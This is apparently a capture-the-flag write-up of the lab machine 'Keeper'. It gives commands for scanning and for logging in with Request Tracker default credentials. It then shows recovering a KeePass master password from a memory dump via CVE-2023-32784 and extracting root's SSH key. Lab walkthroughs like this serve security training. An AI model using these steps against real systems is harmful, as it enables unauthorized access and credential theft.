Target IP: 10.10.11.227
Hostname: keeper.htb

Initial Reconnaissance

Only SSH and HTTP were open.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.227 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.227

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open  http    nginx 1.18.0 (Ubuntu)

The web root just pointed at a support portal, so I added the hostname it referenced.

echo "10.10.11.227 tickets.keeper.htb" | sudo tee -a /etc/hosts

Request Tracker Default Credentials

tickets.keeper.htb was a Request Tracker (RT) 4.4.4 instance. RT ships with well-documented default credentials, and they had never been changed.

User: root
Pass: password

Logged in as the RT admin, I browsed to the user list. A user named lnorgaard had a comment noting that their account had been created with a default password.

lnorgaard : Welcome2023!

That password worked directly over SSH and gave the user flag.

ssh lnorgaard@10.10.11.227   # Welcome2023!
cat user.txt

A KeePass Memory Dump

lnorgaard’s home directory held two very telling files: a KeePass database and a full process memory dump of KeePass.

KeePassDumpFull.dmp
passcodes.kdbx

A memory dump of KeePass right next to its database points straight at CVE-2023-32784. KeePass 2.x leaves the master password in memory nearly intact. Every character except the first can be recovered from the dump. I pulled the files down and ran a public recovery tool.

scp lnorgaard@10.10.11.227:/home/lnorgaard/{KeePassDumpFull.dmp,passcodes.kdbx} .
python3 keepass_dump.py KeePassDumpFull.dmp

●dgrød med fløde

Only the first character was unknown. The rest was a giveaway: rødgrød med fløde is a classic Danish dessert (matching the Danish username lnorgaard), so the full master password was simply rødgrød med fløde.

Root’s SSH Key From the Database

With the master password, I opened the database and found an entry for the ticketing server holding root’s credentials, including a PuTTY-format private key.

kpcli --kdb passcodes.kdbx
# master password: rødgrød med fløde
kpcli:/> show -f "passcodes/Network/keeper.htb (Ticketing Server)"

The notes field contained a full PuTTY-User-Key-File-3 block. PuTTY keys are not OpenSSH keys, so I converted it with puttygen.

puttygen root.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.227

root@keeper:~# cat root.txt

Takeaways

Keeper is short and realistic. The foothold is nothing more than an unchanged default password on an internet-facing ticketing system. That is still one of the most common ways real networks fall.

The privilege escalation is a nice demonstration of CVE-2023-32784: a password manager’s own memory betrays it. And the final twist, recognizing a Danish dessert to fill in the one missing character, is a reminder that the last mile of a password recovery is often just context.